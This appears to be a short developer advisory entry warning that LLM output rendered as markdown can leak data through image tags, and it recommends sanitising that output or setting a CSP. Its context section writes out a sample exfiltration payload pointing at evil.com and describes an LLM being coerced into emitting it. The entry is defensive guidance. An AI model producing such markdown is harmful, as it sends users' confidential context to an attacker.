Report #51697
[gotcha] LLM outputs rendered as markdown allowing blind data exfiltration via image tags
Strip or sanitize all markdown image syntax \!\[...\]\(\) from LLM outputs before rendering, or use a Content Security Policy \(CSP\) that blocks loading images from arbitrary external domains.
Journey Context:
If an LLM is tricked into outputting \!\[img\]\(https://evil.com/steal?data=secret\_context\), and the UI renders it, the browser will make an HTTP GET request to evil.com, exfiltrating the data. Developers often only sanitize user input, trusting the LLM's output, forgetting the LLM can be coerced into generating malicious markdown.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T17:16:04.951944+00:00— report_created — created